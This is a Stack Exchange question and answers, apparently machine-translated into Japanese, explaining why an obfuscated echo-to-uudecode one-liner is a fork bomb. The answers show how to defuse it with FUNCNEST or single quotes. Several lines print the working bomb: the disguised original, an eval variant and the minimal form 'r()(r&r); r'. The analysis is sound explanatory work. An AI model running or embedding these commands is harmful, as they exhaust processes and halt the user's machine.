このテキスト文字列は、どのように、そしてなぜ、フォーク爆弾ですか?


132

ランダムチャンボードにあります。

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

どういうわけか、これを実行すると、無限に発生するプロセスが発生し、横行してマシンを停止させます。「su」が何度も実行されようとしていることについて何かがわかります。

..これは奇妙です。何も実行されず、テキストが出力されることを期待しているからです。

このテキストをオンラインデコーダーで実行すると、バイナリスピーチのバッチが表示されます。

uudecodeの結果

このテキストの混乱は実際に何をしていて、「安全に」表示する方法はありますか?


「su」が何回も実行されるのはなぜですか?
ブレントウォッシュバーン

34
アドバイスの一部:ランダムチャンボードからコードを実行しないでください。フォーク爆弾であったことに感謝してください。
rr-

21
へえ。ありがたいことに、私はこのような悪意のあるゴミをいじるという明確な目的のために作成されたスナップショットVMを使用していました。
マイキーTK


1
Vidar Holen、著者のshellcheck.netが書いたブログ記事彼はこのフォーク爆弾の著者であることを主張し、いくつかの背景情報を提供している。この上を。
ソコウィ

回答:


194

まず、コマンド全体を見てみましょう。

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

にエコーされる二重引用符で囲まれた文字列が含まれていますuudecode。ただし、二重引用符で囲まれた文字列の中には、引用符で囲まれた文字列があることに注意してください。この文字列は実行されます。文字列は次のとおりです。

`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`

その内容を見ると、次の3つのコマンドが表示されます。

rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r

中央のコマンドでブレース展開を実行すると、次のようになります。

rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r

最初の行は、バックグラウンドでナンセンスなコマンドを実行しようとします。これは重要ではありません。

2行目は重要です。これは、r実行時に、自身の2つのコピーを起動する関数を定義します。もちろん、これらのコピーはそれぞれ、さらに2つのコピーを起動します。等々。

3行目が実行されr、フォークボムが開始されます。

逆引用符で囲まれた文字列以外のコードの残りの部分は、難読化には意味がありません。

コマンドを安全に実行する方法

関数のネストレベルに制限を設定すると、このコードを安全に実行できます。これは、bashのFUNCNEST変数を使用して実行できます。ここで、設定して2再帰を停止します:

$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line

(a)は、ナンセンスコマンドことを示し、上記のエラーメッセージrYWdlY29j見出されていない、(b)は、フォーク爆弾を繰り返しFUNCNEST、および(c)の出力によって停止されますechoと起動しないbegin結果として、そして、の有効な入力ではありませんuudecode

最も単純な形のフォーク爆弾

オブスキュレーションを削除すると、フォーク爆弾はどのようになりますか?njzk2とgerritが示唆するように、次のようになります。

echo "`r()(r&r);r`"

それをさらに簡素化できます:

r()(r&r); r

これは2つのステートメントで構成されます。1つはfork-bomb-function rを定義し、2つ目は実行しrます。

へのパイプを含む他のすべてのコードは、uudecode不明瞭化と誤った方向付けのためだけにありました。

元のフォームには、さらに別の誤った方向の層がありました

OPはこのコードが登場したチャンボードディスカッションへのリンクを提供しました。そこに示されているように、コードは次のようになりました。

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

このコードに関する最初のコメントの1つに注目してください。

私はそれに落ちた。エコーおよびデコードする部分のみをコピーしましたが、まだフォークボムされました

channボードのフォームでは、問題はevalの出力で動作するステートメントであると単純に考えるでしょうuudecode。これは、削除evalすることで問題が解決すると考える人を導くでしょう。上で見たように、これは間違っており、危険です。


6
よこしまな!エコーされた文字列の中央でシェルのグロビング/拡張を検討することは考えていませんでした。
マイキーTK

31
uudecodeここではまったく無関係であることに注意してください。しばらくの間、uudecode逆引用符で囲まれた文字列補間を実行すると、基本的に安全ではなくなりますが、フォーク爆弾はuudecodeが開始される前に発生します。
-gerrit

28
...そしてこれは、紳士shell女であるため、シェルスクリプトのセキュリティが非常に厳しくなっている理由です。完全に無害に見えるものでさえ、あなたを殺すことができます。(これがどこかからのユーザー入力であると想像してください...)
MathematicalOrchid

22
@MathematicalOrchid実際には、シェルスクリプトへのユーザー入力にバッククォートで囲まれたものを実行させるには、自明な努力が必要です。また、ユーザー入力からシェルスクリプトを構築する場合は、二重引用符で囲むよりも知っておく必要があります。
Random832

5
@ njzk2まだ必要です&echo "`r()(r&r);r`"
-gerrit

10

質問の2番目の部分に答えるには:

...「安全に」表示する方法はありますか?

この文字列を解除するには、外側の二重引用符を一重引用符に置き換え、文字列内にある一重引用符をエスケープします。このように、シェルはコードを実行せず、実際にすべてを直接渡しますuudecode

$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line

他の選択肢はコメントに記載されています:

カスペルドが提案した

$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Jacob Krallは、テキストエディターを使用して内容を貼り付け、そのファイルをuudecodeに渡すことを提案しました。


5
またはuudecode、コマンドラインに入力します。Enterキーを押します。デコードする文字列をコピーして貼り付けます。
カスペルド

3
別の方法:テキストエディターを使用して内容をファイルに保存します。そのファイルを開きますuudecode
ジェイコブクラル

両方のおかげで、私はそれらの選択肢を答えに書きました。
-gerrit

1
文字列がecho "foo`die`bar'`die`'baz"最初のようなものではないことを確認してください!つまり、その中に'sがある場合、引用符を単一引用符で置き換えるだけでは十分ではありません。
wchargin

5

一見すると、シェルへの出力は決して実行されないと思うかもしれません。これはまだ真実です。問題はすでに入力にあります。ここでの主なトリックは、プログラマーがオペレーター優先順位と呼ぶものです。これは、シェルが入力を処理しようとする順序です。

1.       "                                                             "
2.                     rYWdl
3.                          &
4.                           r()(Y29j&r{,3Rl7Ig}&r{,T31wo})             
5.                                                         ;            
6.                                                          r           
7.                    `                                      `          
8.        I<RA('1E<W3t                                        26<F]F;== 
9.  echo                                                                
10.                                                                      |         
11.                                                                        uudecode
  1. 文字列を作成するには、その中にあるすべてのbackticksコマンドを実行します。
  2. 通常、「rYWdl」がタイプミスではない場合などの出力を引き起こす未知のコマンドです。command-not-foundを使用して、それを含むパッケージを検索できます…(システムによって異なります)
  3. バックグラウンドで2.を実行します。出力は表示されません。
  4. フォーク爆弾機能を定義します。
  5. コマンドセパレータ。
  6. フォークボムを実行します。
  7. 6.の結果を文字列に挿入します。(ここに来ることはありません。)

エラーは、それechoが最初に実行されるコマンドuudecode、2番目のコマンドになると考えることです。両方に到達することはありません。

結論:二重引用符は常にシェル上で危険です。

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.